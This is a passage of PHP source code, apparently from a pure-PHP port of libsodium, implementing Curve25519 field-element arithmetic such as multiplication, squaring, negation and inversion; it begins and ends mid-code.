+= $carry8; $h8 -= $carry8 << 26; $carry9 = $h9 >> 25; $h9 -= $carry9 << 25; /** * @var array<int, int> */ $s = array( (int) (($h0 >> 0) & 0xff), (int) (($h0 >> 8) & 0xff), (int) (($h0 >> 16) & 0xff), (int) ((($h0 >> 24) | ($h1 << 2)) & 0xff), (int) (($h1 >> 6) & 0xff), (int) (($h1 >> 14) & 0xff), (int) ((($h1 >> 22) | ($h2 << 3)) & 0xff), (int) (($h2 >> 5) & 0xff), (int) (($h2 >> 13) & 0xff), (int) ((($h2 >> 21) | ($h3 << 5)) & 0xff), (int) (($h3 >> 3) & 0xff), (int) (($h3 >> 11) & 0xff), (int) ((($h3 >> 19) | ($h4 << 6)) & 0xff), (int) (($h4 >> 2) & 0xff), (int) (($h4 >> 10) & 0xff), (int) (($h4 >> 18) & 0xff), (int) (($h5 >> 0) & 0xff), (int) (($h5 >> 8) & 0xff), (int) (($h5 >> 16) & 0xff), (int) ((($h5 >> 24) | ($h6 << 1)) & 0xff), (int) (($h6 >> 7) & 0xff), (int) (($h6 >> 15) & 0xff), (int) ((($h6 >> 23) | ($h7 << 3)) & 0xff), (int) (($h7 >> 5) & 0xff), (int) (($h7 >> 13) & 0xff), (int) ((($h7 >> 21) | ($h8 << 4)) & 0xff), (int) (($h8 >> 4) & 0xff), (int) (($h8 >> 12) & 0xff), (int) ((($h8 >> 20) | ($h9 << 6)) & 0xff), (int) (($h9 >> 2) & 0xff), (int) (($h9 >> 10) & 0xff), (int) (($h9 >> 18) & 0xff) ); return self::intArrayToString($s); } /** * Is a field element negative? (1 = yes, 0 = no. Used in calculations.) * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return int * @throws SodiumException * @throws TypeError */ public static function fe_isnegative(ParagonIE_Sodium_Core_Curve25519_Fe $f) { $str = self::fe_tobytes($f); return (int) (self::chrToInt($str[0]) & 1); } /** * Returns 0 if this field element results in all NUL bytes. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return bool * @throws SodiumException * @throws TypeError */ public static function fe_isnonzero(ParagonIE_Sodium_Core_Curve25519_Fe $f) { static $zero; if ($zero === null) { $zero = str_repeat("\x00", 32); } /** @var string $zero */ /** @var string $str */ $str = self::fe_tobytes($f); return !self::verify_32($str, (string) $zero); } /** * Multiply two field elements * * h = f * g * * @internal You should not use this directly from another application * * @security Is multiplication a source of timing leaks? If so, can we do * anything to prevent that from happening? * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @param ParagonIE_Sodium_Core_Curve25519_Fe $g * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_mul( ParagonIE_Sodium_Core_Curve25519_Fe $f, ParagonIE_Sodium_Core_Curve25519_Fe $g ) { // Ensure limbs aren't oversized. $f = self::fe_normalize($f); $g = self::fe_normalize($g); $f0 = $f[0]; $f1 = $f[1]; $f2 = $f[2]; $f3 = $f[3]; $f4 = $f[4]; $f5 = $f[5]; $f6 = $f[6]; $f7 = $f[7]; $f8 = $f[8]; $f9 = $f[9]; $g0 = $g[0]; $g1 = $g[1]; $g2 = $g[2]; $g3 = $g[3]; $g4 = $g[4]; $g5 = $g[5]; $g6 = $g[6]; $g7 = $g[7]; $g8 = $g[8]; $g9 = $g[9]; $g1_19 = self::mul($g1, 19, 5); $g2_19 = self::mul($g2, 19, 5); $g3_19 = self::mul($g3, 19, 5); $g4_19 = self::mul($g4, 19, 5); $g5_19 = self::mul($g5, 19, 5); $g6_19 = self::mul($g6, 19, 5); $g7_19 = self::mul($g7, 19, 5); $g8_19 = self::mul($g8, 19, 5); $g9_19 = self::mul($g9, 19, 5); $f1_2 = $f1 << 1; $f3_2 = $f3 << 1; $f5_2 = $f5 << 1; $f7_2 = $f7 << 1; $f9_2 = $f9 << 1; $f0g0 = self::mul($f0, $g0, 26); $f0g1 = self::mul($f0, $g1, 25); $f0g2 = self::mul($f0, $g2, 26); $f0g3 = self::mul($f0, $g3, 25); $f0g4 = self::mul($f0, $g4, 26); $f0g5 = self::mul($f0, $g5, 25); $f0g6 = self::mul($f0, $g6, 26); $f0g7 = self::mul($f0, $g7, 25); $f0g8 = self::mul($f0, $g8, 26); $f0g9 = self::mul($f0, $g9, 26); $f1g0 = self::mul($f1, $g0, 26); $f1g1_2 = self::mul($f1_2, $g1, 25); $f1g2 = self::mul($f1, $g2, 26); $f1g3_2 = self::mul($f1_2, $g3, 25); $f1g4 = self::mul($f1, $g4, 26); $f1g5_2 = self::mul($f1_2, $g5, 25); $f1g6 = self::mul($f1, $g6, 26); $f1g7_2 = self::mul($f1_2, $g7, 25); $f1g8 = self::mul($f1, $g8, 26); $f1g9_38 = self::mul($g9_19, $f1_2, 26); $f2g0 = self::mul($f2, $g0, 26); $f2g1 = self::mul($f2, $g1, 25); $f2g2 = self::mul($f2, $g2, 26); $f2g3 = self::mul($f2, $g3, 25); $f2g4 = self::mul($f2, $g4, 26); $f2g5 = self::mul($f2, $g5, 25); $f2g6 = self::mul($f2, $g6, 26); $f2g7 = self::mul($f2, $g7, 25); $f2g8_19 = self::mul($g8_19, $f2, 26); $f2g9_19 = self::mul($g9_19, $f2, 26); $f3g0 = self::mul($f3, $g0, 26); $f3g1_2 = self::mul($f3_2, $g1, 25); $f3g2 = self::mul($f3, $g2, 26); $f3g3_2 = self::mul($f3_2, $g3, 25); $f3g4 = self::mul($f3, $g4, 26); $f3g5_2 = self::mul($f3_2, $g5, 25); $f3g6 = self::mul($f3, $g6, 26); $f3g7_38 = self::mul($g7_19, $f3_2, 26); $f3g8_19 = self::mul($g8_19, $f3, 25); $f3g9_38 = self::mul($g9_19, $f3_2, 26); $f4g0 = self::mul($f4, $g0, 26); $f4g1 = self::mul($f4, $g1, 25); $f4g2 = self::mul($f4, $g2, 26); $f4g3 = self::mul($f4, $g3, 25); $f4g4 = self::mul($f4, $g4, 26); $f4g5 = self::mul($f4, $g5, 25); $f4g6_19 = self::mul($g6_19, $f4, 26); $f4g7_19 = self::mul($g7_19, $f4, 26); $f4g8_19 = self::mul($g8_19, $f4, 26); $f4g9_19 = self::mul($g9_19, $f4, 26); $f5g0 = self::mul($f5, $g0, 26); $f5g1_2 = self::mul($f5_2, $g1, 25); $f5g2 = self::mul($f5, $g2, 26); $f5g3_2 = self::mul($f5_2, $g3, 25); $f5g4 = self::mul($f5, $g4, 26); $f5g5_38 = self::mul($g5_19, $f5_2, 26); $f5g6_19 = self::mul($g6_19, $f5, 25); $f5g7_38 = self::mul($g7_19, $f5_2, 26); $f5g8_19 = self::mul($g8_19, $f5, 25); $f5g9_38 = self::mul($g9_19, $f5_2, 26); $f6g0 = self::mul($f6, $g0, 26); $f6g1 = self::mul($f6, $g1, 25); $f6g2 = self::mul($f6, $g2, 26); $f6g3 = self::mul($f6, $g3, 25); $f6g4_19 = self::mul($g4_19, $f6, 26); $f6g5_19 = self::mul($g5_19, $f6, 26); $f6g6_19 = self::mul($g6_19, $f6, 26); $f6g7_19 = self::mul($g7_19, $f6, 26); $f6g8_19 = self::mul($g8_19, $f6, 26); $f6g9_19 = self::mul($g9_19, $f6, 26); $f7g0 = self::mul($f7, $g0, 26); $f7g1_2 = self::mul($f7_2, $g1, 25); $f7g2 = self::mul($f7, $g2, 26); $f7g3_38 = self::mul($g3_19, $f7_2, 26); $f7g4_19 = self::mul($g4_19, $f7, 26); $f7g5_38 = self::mul($g5_19, $f7_2, 26); $f7g6_19 = self::mul($g6_19, $f7, 25); $f7g7_38 = self::mul($g7_19, $f7_2, 26); $f7g8_19 = self::mul($g8_19, $f7, 25); $f7g9_38 = self::mul($g9_19,$f7_2, 26); $f8g0 = self::mul($f8, $g0, 26); $f8g1 = self::mul($f8, $g1, 25); $f8g2_19 = self::mul($g2_19, $f8, 26); $f8g3_19 = self::mul($g3_19, $f8, 26); $f8g4_19 = self::mul($g4_19, $f8, 26); $f8g5_19 = self::mul($g5_19, $f8, 26); $f8g6_19 = self::mul($g6_19, $f8, 26); $f8g7_19 = self::mul($g7_19, $f8, 26); $f8g8_19 = self::mul($g8_19, $f8, 26); $f8g9_19 = self::mul($g9_19, $f8, 26); $f9g0 = self::mul($f9, $g0, 26); $f9g1_38 = self::mul($g1_19, $f9_2, 26); $f9g2_19 = self::mul($g2_19, $f9, 25); $f9g3_38 = self::mul($g3_19, $f9_2, 26); $f9g4_19 = self::mul($g4_19, $f9, 25); $f9g5_38 = self::mul($g5_19, $f9_2, 26); $f9g6_19 = self::mul($g6_19, $f9, 25); $f9g7_38 = self::mul($g7_19, $f9_2, 26); $f9g8_19 = self::mul($g8_19, $f9, 25); $f9g9_38 = self::mul($g9_19, $f9_2, 26); $h0 = $f0g0 + $f1g9_38 + $f2g8_19 + $f3g7_38 + $f4g6_19 + $f5g5_38 + $f6g4_19 + $f7g3_38 + $f8g2_19 + $f9g1_38; $h1 = $f0g1 + $f1g0 + $f2g9_19 + $f3g8_19 + $f4g7_19 + $f5g6_19 + $f6g5_19 + $f7g4_19 + $f8g3_19 + $f9g2_19; $h2 = $f0g2 + $f1g1_2 + $f2g0 + $f3g9_38 + $f4g8_19 + $f5g7_38 + $f6g6_19 + $f7g5_38 + $f8g4_19 + $f9g3_38; $h3 = $f0g3 + $f1g2 + $f2g1 + $f3g0 + $f4g9_19 + $f5g8_19 + $f6g7_19 + $f7g6_19 + $f8g5_19 + $f9g4_19; $h4 = $f0g4 + $f1g3_2 + $f2g2 + $f3g1_2 + $f4g0 + $f5g9_38 + $f6g8_19 + $f7g7_38 + $f8g6_19 + $f9g5_38; $h5 = $f0g5 + $f1g4 + $f2g3 + $f3g2 + $f4g1 + $f5g0 + $f6g9_19 + $f7g8_19 + $f8g7_19 + $f9g6_19; $h6 = $f0g6 + $f1g5_2 + $f2g4 + $f3g3_2 + $f4g2 + $f5g1_2 + $f6g0 + $f7g9_38 + $f8g8_19 + $f9g7_38; $h7 = $f0g7 + $f1g6 + $f2g5 + $f3g4 + $f4g3 + $f5g2 + $f6g1 + $f7g0 + $f8g9_19 + $f9g8_19; $h8 = $f0g8 + $f1g7_2 + $f2g6 + $f3g5_2 + $f4g4 + $f5g3_2 + $f6g2 + $f7g1_2 + $f8g0 + $f9g9_38; $h9 = $f0g9 + $f1g8 + $f2g7 + $f3g6 + $f4g5 + $f5g4 + $f6g3 + $f7g2 + $f8g1 + $f9g0 ; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry1 = ($h1 + (1 << 24)) >> 25; $h2 += $carry1; $h1 -= $carry1 << 25; $carry5 = ($h5 + (1 << 24)) >> 25; $h6 += $carry5; $h5 -= $carry5 << 25; $carry2 = ($h2 + (1 << 25)) >> 26; $h3 += $carry2; $h2 -= $carry2 << 26; $carry6 = ($h6 + (1 << 25)) >> 26; $h7 += $carry6; $h6 -= $carry6 << 26; $carry3 = ($h3 + (1 << 24)) >> 25; $h4 += $carry3; $h3 -= $carry3 << 25; $carry7 = ($h7 + (1 << 24)) >> 25; $h8 += $carry7; $h7 -= $carry7 << 25; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry8 = ($h8 + (1 << 25)) >> 26; $h9 += $carry8; $h8 -= $carry8 << 26; $carry9 = ($h9 + (1 << 24)) >> 25; $h0 += self::mul($carry9, 19, 5); $h9 -= $carry9 << 25; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; return self::fe_normalize( ParagonIE_Sodium_Core_Curve25519_Fe::fromArray( array( (int) $h0, (int) $h1, (int) $h2, (int) $h3, (int) $h4, (int) $h5, (int) $h6, (int) $h7, (int) $h8, (int) $h9 ) ) ); } /** * Get the negative values for each piece of the field element. * * h = -f * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return ParagonIE_Sodium_Core_Curve25519_Fe * @psalm-suppress MixedAssignment */ public static function fe_neg(ParagonIE_Sodium_Core_Curve25519_Fe $f) { $h = new ParagonIE_Sodium_Core_Curve25519_Fe(); for ($i = 0; $i < 10; ++$i) { $h[$i] = -$f[$i]; } return self::fe_normalize($h); } /** * Square a field element * * h = f * f * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_sq(ParagonIE_Sodium_Core_Curve25519_Fe $f) { $f = self::fe_normalize($f); $f0 = (int) $f[0]; $f1 = (int) $f[1]; $f2 = (int) $f[2]; $f3 = (int) $f[3]; $f4 = (int) $f[4]; $f5 = (int) $f[5]; $f6 = (int) $f[6]; $f7 = (int) $f[7]; $f8 = (int) $f[8]; $f9 = (int) $f[9]; $f0_2 = $f0 << 1; $f1_2 = $f1 << 1; $f2_2 = $f2 << 1; $f3_2 = $f3 << 1; $f4_2 = $f4 << 1; $f5_2 = $f5 << 1; $f6_2 = $f6 << 1; $f7_2 = $f7 << 1; $f5_38 = self::mul($f5, 38, 6); $f6_19 = self::mul($f6, 19, 5); $f7_38 = self::mul($f7, 38, 6); $f8_19 = self::mul($f8, 19, 5); $f9_38 = self::mul($f9, 38, 6); $f0f0 = self::mul($f0, $f0, 26); $f0f1_2 = self::mul($f0_2, $f1, 26); $f0f2_2 = self::mul($f0_2, $f2, 26); $f0f3_2 = self::mul($f0_2, $f3, 26); $f0f4_2 = self::mul($f0_2, $f4, 26); $f0f5_2 = self::mul($f0_2, $f5, 26); $f0f6_2 = self::mul($f0_2, $f6, 26); $f0f7_2 = self::mul($f0_2, $f7, 26); $f0f8_2 = self::mul($f0_2, $f8, 26); $f0f9_2 = self::mul($f0_2, $f9, 26); $f1f1_2 = self::mul($f1_2, $f1, 26); $f1f2_2 = self::mul($f1_2, $f2, 26); $f1f3_4 = self::mul($f1_2, $f3_2, 26); $f1f4_2 = self::mul($f1_2, $f4, 26); $f1f5_4 = self::mul($f1_2, $f5_2, 26); $f1f6_2 = self::mul($f1_2, $f6, 26); $f1f7_4 = self::mul($f1_2, $f7_2, 26); $f1f8_2 = self::mul($f1_2, $f8, 26); $f1f9_76 = self::mul($f9_38, $f1_2, 27); $f2f2 = self::mul($f2, $f2, 27); $f2f3_2 = self::mul($f2_2, $f3, 27); $f2f4_2 = self::mul($f2_2, $f4, 27); $f2f5_2 = self::mul($f2_2, $f5, 27); $f2f6_2 = self::mul($f2_2, $f6, 27); $f2f7_2 = self::mul($f2_2, $f7, 27); $f2f8_38 = self::mul($f8_19, $f2_2, 27); $f2f9_38 = self::mul($f9_38, $f2, 26); $f3f3_2 = self::mul($f3_2, $f3, 26); $f3f4_2 = self::mul($f3_2, $f4, 26); $f3f5_4 = self::mul($f3_2, $f5_2, 26); $f3f6_2 = self::mul($f3_2, $f6, 26); $f3f7_76 = self::mul($f7_38, $f3_2, 26); $f3f8_38 = self::mul($f8_19, $f3_2, 26); $f3f9_76 = self::mul($f9_38, $f3_2, 26); $f4f4 = self::mul($f4, $f4, 26); $f4f5_2 = self::mul($f4_2, $f5, 26); $f4f6_38 = self::mul($f6_19, $f4_2, 27); $f4f7_38 = self::mul($f7_38, $f4, 26); $f4f8_38 = self::mul($f8_19, $f4_2, 27); $f4f9_38 = self::mul($f9_38, $f4, 26); $f5f5_38 = self::mul($f5_38, $f5, 26); $f5f6_38 = self::mul($f6_19, $f5_2, 26); $f5f7_76 = self::mul($f7_38, $f5_2, 26); $f5f8_38 = self::mul($f8_19, $f5_2, 26); $f5f9_76 = self::mul($f9_38, $f5_2, 26); $f6f6_19 = self::mul($f6_19, $f6, 26); $f6f7_38 = self::mul($f7_38, $f6, 26); $f6f8_38 = self::mul($f8_19, $f6_2, 27); $f6f9_38 = self::mul($f9_38, $f6, 26); $f7f7_38 = self::mul($f7_38, $f7, 26); $f7f8_38 = self::mul($f8_19, $f7_2, 26); $f7f9_76 = self::mul($f9_38, $f7_2, 26); $f8f8_19 = self::mul($f8_19, $f8, 26); $f8f9_38 = self::mul($f9_38, $f8, 26); $f9f9_38 = self::mul($f9_38, $f9, 26); $h0 = $f0f0 + $f1f9_76 + $f2f8_38 + $f3f7_76 + $f4f6_38 + $f5f5_38; $h1 = $f0f1_2 + $f2f9_38 + $f3f8_38 + $f4f7_38 + $f5f6_38; $h2 = $f0f2_2 + $f1f1_2 + $f3f9_76 + $f4f8_38 + $f5f7_76 + $f6f6_19; $h3 = $f0f3_2 + $f1f2_2 + $f4f9_38 + $f5f8_38 + $f6f7_38; $h4 = $f0f4_2 + $f1f3_4 + $f2f2 + $f5f9_76 + $f6f8_38 + $f7f7_38; $h5 = $f0f5_2 + $f1f4_2 + $f2f3_2 + $f6f9_38 + $f7f8_38; $h6 = $f0f6_2 + $f1f5_4 + $f2f4_2 + $f3f3_2 + $f7f9_76 + $f8f8_19; $h7 = $f0f7_2 + $f1f6_2 + $f2f5_2 + $f3f4_2 + $f8f9_38; $h8 = $f0f8_2 + $f1f7_4 + $f2f6_2 + $f3f5_4 + $f4f4 + $f9f9_38; $h9 = $f0f9_2 + $f1f8_2 + $f2f7_2 + $f3f6_2 + $f4f5_2; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry1 = ($h1 + (1 << 24)) >> 25; $h2 += $carry1; $h1 -= $carry1 << 25; $carry5 = ($h5 + (1 << 24)) >> 25; $h6 += $carry5; $h5 -= $carry5 << 25; $carry2 = ($h2 + (1 << 25)) >> 26; $h3 += $carry2; $h2 -= $carry2 << 26; $carry6 = ($h6 + (1 << 25)) >> 26; $h7 += $carry6; $h6 -= $carry6 << 26; $carry3 = ($h3 + (1 << 24)) >> 25; $h4 += $carry3; $h3 -= $carry3 << 25; $carry7 = ($h7 + (1 << 24)) >> 25; $h8 += $carry7; $h7 -= $carry7 << 25; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry8 = ($h8 + (1 << 25)) >> 26; $h9 += $carry8; $h8 -= $carry8 << 26; $carry9 = ($h9 + (1 << 24)) >> 25; $h0 += self::mul($carry9, 19, 5); $h9 -= $carry9 << 25; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; return self::fe_normalize( ParagonIE_Sodium_Core_Curve25519_Fe::fromArray( array( (int) $h0, (int) $h1, (int) $h2, (int) $h3, (int) $h4, (int) $h5, (int) $h6, (int) $h7, (int) $h8, (int) $h9 ) ) ); } /** * Square and double a field element * * h = 2 * f * f * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_sq2(ParagonIE_Sodium_Core_Curve25519_Fe $f) { $f = self::fe_normalize($f); $f0 = (int) $f[0]; $f1 = (int) $f[1]; $f2 = (int) $f[2]; $f3 = (int) $f[3]; $f4 = (int) $f[4]; $f5 = (int) $f[5]; $f6 = (int) $f[6]; $f7 = (int) $f[7]; $f8 = (int) $f[8]; $f9 = (int) $f[9]; $f0_2 = $f0 << 1; $f1_2 = $f1 << 1; $f2_2 = $f2 << 1; $f3_2 = $f3 << 1; $f4_2 = $f4 << 1; $f5_2 = $f5 << 1; $f6_2 = $f6 << 1; $f7_2 = $f7 << 1; $f5_38 = self::mul($f5, 38, 6); /* 1.959375*2^30 */ $f6_19 = self::mul($f6, 19, 5); /* 1.959375*2^30 */ $f7_38 = self::mul($f7, 38, 6); /* 1.959375*2^30 */ $f8_19 = self::mul($f8, 19, 5); /* 1.959375*2^30 */ $f9_38 = self::mul($f9, 38, 6); /* 1.959375*2^30 */ $f0f0 = self::mul($f0, $f0, 24); $f0f1_2 = self::mul($f0_2, $f1, 24); $f0f2_2 = self::mul($f0_2, $f2, 24); $f0f3_2 = self::mul($f0_2, $f3, 24); $f0f4_2 = self::mul($f0_2, $f4, 24); $f0f5_2 = self::mul($f0_2, $f5, 24); $f0f6_2 = self::mul($f0_2, $f6, 24); $f0f7_2 = self::mul($f0_2, $f7, 24); $f0f8_2 = self::mul($f0_2, $f8, 24); $f0f9_2 = self::mul($f0_2, $f9, 24); $f1f1_2 = self::mul($f1_2, $f1, 24); $f1f2_2 = self::mul($f1_2, $f2, 24); $f1f3_4 = self::mul($f1_2, $f3_2, 24); $f1f4_2 = self::mul($f1_2, $f4, 24); $f1f5_4 = self::mul($f1_2, $f5_2, 24); $f1f6_2 = self::mul($f1_2, $f6, 24); $f1f7_4 = self::mul($f1_2, $f7_2, 24); $f1f8_2 = self::mul($f1_2, $f8, 24); $f1f9_76 = self::mul($f9_38, $f1_2, 24); $f2f2 = self::mul($f2, $f2, 24); $f2f3_2 = self::mul($f2_2, $f3, 24); $f2f4_2 = self::mul($f2_2, $f4, 24); $f2f5_2 = self::mul($f2_2, $f5, 24); $f2f6_2 = self::mul($f2_2, $f6, 24); $f2f7_2 = self::mul($f2_2, $f7, 24); $f2f8_38 = self::mul($f8_19, $f2_2, 25); $f2f9_38 = self::mul($f9_38, $f2, 24); $f3f3_2 = self::mul($f3_2, $f3, 24); $f3f4_2 = self::mul($f3_2, $f4, 24); $f3f5_4 = self::mul($f3_2, $f5_2, 24); $f3f6_2 = self::mul($f3_2, $f6, 24); $f3f7_76 = self::mul($f7_38, $f3_2, 24); $f3f8_38 = self::mul($f8_19, $f3_2, 24); $f3f9_76 = self::mul($f9_38, $f3_2, 24); $f4f4 = self::mul($f4, $f4, 24); $f4f5_2 = self::mul($f4_2, $f5, 24); $f4f6_38 = self::mul($f6_19, $f4_2, 25); $f4f7_38 = self::mul($f7_38, $f4, 24); $f4f8_38 = self::mul($f8_19, $f4_2, 25); $f4f9_38 = self::mul($f9_38, $f4, 24); $f5f5_38 = self::mul($f5_38, $f5, 24); $f5f6_38 = self::mul($f6_19, $f5_2, 24); $f5f7_76 = self::mul($f7_38, $f5_2, 24); $f5f8_38 = self::mul($f8_19, $f5_2, 24); $f5f9_76 = self::mul($f9_38, $f5_2, 24); $f6f6_19 = self::mul($f6_19, $f6, 24); $f6f7_38 = self::mul($f7_38, $f6, 24); $f6f8_38 = self::mul($f8_19, $f6_2, 25); $f6f9_38 = self::mul($f9_38, $f6, 24); $f7f7_38 = self::mul($f7_38, $f7, 24); $f7f8_38 = self::mul($f8_19, $f7_2, 24); $f7f9_76 = self::mul($f9_38, $f7_2, 24); $f8f8_19 = self::mul($f8_19, $f8, 24); $f8f9_38 = self::mul($f9_38, $f8, 24); $f9f9_38 = self::mul($f9_38, $f9, 24); $h0 = (int) ($f0f0 + $f1f9_76 + $f2f8_38 + $f3f7_76 + $f4f6_38 + $f5f5_38) << 1; $h1 = (int) ($f0f1_2 + $f2f9_38 + $f3f8_38 + $f4f7_38 + $f5f6_38) << 1; $h2 = (int) ($f0f2_2 + $f1f1_2 + $f3f9_76 + $f4f8_38 + $f5f7_76 + $f6f6_19) << 1; $h3 = (int) ($f0f3_2 + $f1f2_2 + $f4f9_38 + $f5f8_38 + $f6f7_38) << 1; $h4 = (int) ($f0f4_2 + $f1f3_4 + $f2f2 + $f5f9_76 + $f6f8_38 + $f7f7_38) << 1; $h5 = (int) ($f0f5_2 + $f1f4_2 + $f2f3_2 + $f6f9_38 + $f7f8_38) << 1; $h6 = (int) ($f0f6_2 + $f1f5_4 + $f2f4_2 + $f3f3_2 + $f7f9_76 + $f8f8_19) << 1; $h7 = (int) ($f0f7_2 + $f1f6_2 + $f2f5_2 + $f3f4_2 + $f8f9_38) << 1; $h8 = (int) ($f0f8_2 + $f1f7_4 + $f2f6_2 + $f3f5_4 + $f4f4 + $f9f9_38) << 1; $h9 = (int) ($f0f9_2 + $f1f8_2 + $f2f7_2 + $f3f6_2 + $f4f5_2) << 1; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry1 = ($h1 + (1 << 24)) >> 25; $h2 += $carry1; $h1 -= $carry1 << 25; $carry5 = ($h5 + (1 << 24)) >> 25; $h6 += $carry5; $h5 -= $carry5 << 25; $carry2 = ($h2 + (1 << 25)) >> 26; $h3 += $carry2; $h2 -= $carry2 << 26; $carry6 = ($h6 + (1 << 25)) >> 26; $h7 += $carry6; $h6 -= $carry6 << 26; $carry3 = ($h3 + (1 << 24)) >> 25; $h4 += $carry3; $h3 -= $carry3 << 25; $carry7 = ($h7 + (1 << 24)) >> 25; $h8 += $carry7; $h7 -= $carry7 << 25; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry8 = ($h8 + (1 << 25)) >> 26; $h9 += $carry8; $h8 -= $carry8 << 26; $carry9 = ($h9 + (1 << 24)) >> 25; $h0 += self::mul($carry9, 19, 5); $h9 -= $carry9 << 25; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; return self::fe_normalize( ParagonIE_Sodium_Core_Curve25519_Fe::fromArray( array( (int) $h0, (int) $h1, (int) $h2, (int) $h3, (int) $h4, (int) $h5, (int) $h6, (int) $h7, (int) $h8, (int) $h9 ) ) ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $Z * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_invert(ParagonIE_Sodium_Core_Curve25519_Fe $Z) { $z = clone $Z; $t0 = self::fe_sq($z); $t1 = self::fe_sq($t0); $t1 = self::fe_sq($t1); $t1 = self::fe_mul($z, $t1); $t0 = self::fe_mul($t0, $t1); $t2 = self::fe_sq($t0); $t1 = self::fe_mul($t1, $t2); $t2 = self::fe_sq($t1); for ($i = 1; $i < 5; ++$i) { $t2 = self::fe_sq($t2); } $t1 = self::fe_mul($t2, $t1); $t2 = self::fe_sq($t1); for ($i = 1; $i < 10; ++$i) { $t2 = self::fe_sq($t2); } $t2 = self::fe_mul($t2, $t1); $t3 = self::fe_sq($t2); for ($i = 1; $i < 20; ++$i) { $t3 = self::fe_sq($t3); } $t2 = self::fe_mul($t3, $t2); $t2 = self::fe_sq($t2); for ($i = 1; $i < 10; ++$i) { $t2 = self::fe_sq($t2); } $t1 = self::fe_mul($t2, $t1); $t2 = self::fe_sq($t1); for ($i = 1; $i < 50; ++$i) { $t2 = self::fe_sq($t2); } $t2 = self::fe_mul($t2, $t1); $t3 = self::fe_sq($t2); for ($i = 1; $i < 100; ++$i) { $t3 = self::fe_sq($t3); } $t2 = self::fe_mul($t3, $t2); $t2 = self::fe_sq($t2); for ($i = 1; $i < 50; ++$i) { $t2 = self::fe_sq($t2); } $t1 = self::fe_mul($t2, $t1); $t1 = self::fe_sq($t1); for ($i = 1; $i < 5; ++$i) { $t1 = self::fe_sq($t1); } return self::fe_mul($t1, $t0); } /** * @internal You should not use this directly from another application * * @ref https://github.com/jedisct1/libsodium/blob/68564326e1e9dc57ef03746f85734232d20ca6fb/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1054-L1106 * * @param ParagonIE_Sodium_Core_Curve25519_Fe $z * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_pow22523(ParagonIE_Sodium_Core_Curve25519_Fe $z) { $z = self::fe_normalize($z); # fe_sq(t0, z); # fe_sq(t1, t0); # fe_sq(t1, t1); # fe_mul(t1, z, t1); # fe_mul(t0, t0, t1); # fe_sq(t0, t0); # fe_mul(t0, t1, t0); # fe_sq(t1, t0); $t0 = self::fe_sq($z); $t1 = self::fe_sq($t0); $t1 = self::fe_sq($t1); $t1 = self::fe_mul($z, $t1); $t0 = self::fe_mul($t0, $t1); $t0 = self::fe_sq($t0); $t0 = self::fe_mul($t1, $t0); $t1 = self::fe_sq($t0); # for (i = 1; i < 5; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 5; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t0, t1, t0); # fe_sq(t1, t0); $t0 = self::fe_mul($t1, $t0); $t1 = self::fe_sq($t0); # for (i = 1; i < 10; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 10; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t1, t1, t0); # fe_sq(t2, t1); $t1 = self::fe_mul($t1, $t0); $t2 = self::fe_sq($t1); # for (i = 1; i < 20; ++i) { # fe_sq(t2, t2); # } for ($i = 1; $i < 20; ++$i) { $t2 = self::fe_sq($t2); } # fe_mul(t1, t2, t1); # fe_sq(t1, t1); $t1 = self::fe_mul($t2, $t1); $t1 = self::fe_sq($t1); # for (i = 1; i < 10; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 10; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t0, t1, t0); # fe_sq(t1, t0); $t0 = self::fe_mul($t1, $t0); $t1 = self::fe_sq($t0); # for (i = 1; i < 50; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 50; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t1, t1, t0); # fe_sq(t2, t1); $t1 = self::fe_mul($t1, $t0); $t2 = self::fe_sq($t1); # for (i = 1; i < 100; ++i) { # fe_sq(t2, t2); # } for ($i = 1; $i < 100; ++$i) { $t2 = self::fe_sq($t2); } # fe_mul(t1, t2, t1); # fe_sq(t1, t1); $t1 = self::fe_mul($t2, $t1); $t1 = self::fe_sq($t1); # for (i = 1; i < 50; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 50; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t0, t1, t0); # fe_sq(t0, t0); # fe_sq(t0, 